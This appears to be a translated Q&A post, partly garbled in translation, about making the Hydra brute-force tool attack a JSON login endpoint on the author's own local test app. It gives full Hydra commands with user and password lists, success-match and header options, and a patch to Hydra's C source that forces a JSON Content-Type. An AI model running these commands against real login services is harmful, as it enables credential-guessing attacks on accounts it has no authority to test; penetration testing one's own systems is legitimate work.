Ho problemi con Hydra e un carico utile JSON.
La richiesta di accesso (intercettata da Fiddler) è la seguente:
POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"tester","password":"test"}
La risposta, in caso di password errata, è effettivamente vuota a causa del fatto che si tratta di un'applicazione singola pagina. Il server restituirà invece un codice di errore 404 (non trovato) o 405. Nel caso in cui le credenziali siano corrette, procederà con un ritorno di 200 pagine.
Come puoi vedere, la richiesta passa da un cliente a un servizio. In realtà non esiste alcun modulo sul servizio, esso contiene i parametri compilati sul client (questo è tutto sul mio computer locale, adattato al file HOSTS). Quando le credenziali sono corrette, verrà creato un cookie (questo è il primo cookie, non ci sono cookie di sessione o sth prima di accedere).
Ora le credenziali vengono passate in formato JSON. Il comando My Hydra ha il seguente aspetto:
hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"
Tuttavia, ciò conferma che tutte le password sono valide. È possibile utilizzare Hydra con il formato JSON e un'applicazione Single page?
Aggiorna Grazie alla risposta di Iserni, sono stato in grado di costruire il seguente comando:
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"
NOTA: notare che non è necessario sfuggire ai due punti nei valori dell'intestazione. In realtà, questo interrompe il comando, quindi non devi sfuggire ai due punti qui
Ho intercettato questa richiesta con Wireshark, e sembra esattamente la stessa di quella fatta da Firefox, ad eccezione del carico utile JSON. Hydra crea un corpo "x-www-form-urlencoded". Se provo a codificarlo in questo modo usando una richiesta di Firefox (intercettata da Fiddler), ottengo un errore "non trovato". Quindi, in effetti, devo essere in grado di creare un tipo di contenuto JSON. È possibile con Hydra?
Per chiarire le cose, ecco uno screenshot della cattura di Wireshark: TuttoèesattamentelostessodiquandovienecreataunarichiestadaFirefox,fattaeccezioneperl'intestazioneContent-Typeequindiancheilcaricoutiledelcorpo(daFirefoxèJSON).
AGGIORNAMENTO:SOLUZIONE
hydra-v-V-L"users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"
S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.
Il comando sopra funziona, nel caso in cui si adatta la fonte di Hydra come segue (per Hydra 7.6): Intorno alla riga 327 di hydra-http-form.c:
if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
Come puoi vedere, ho preso la soluzione più brutta possibile (cambia il valore dell'intestazione hardcoded da "x-www-form-urlencoded" a "json". Iserni (vedi la risposta sotto) suggeriva un approccio migliore, ma ho ottenuto qualche sintassi errori e ha deciso di codificare semplicemente il valore json. Inoltre, Content-Type è codificato in più punti nel file hydra-http-form.c, per favore cambia se necessario per la tua situazione.
Ora puoi usare Hydra per le app web di bruteforce json.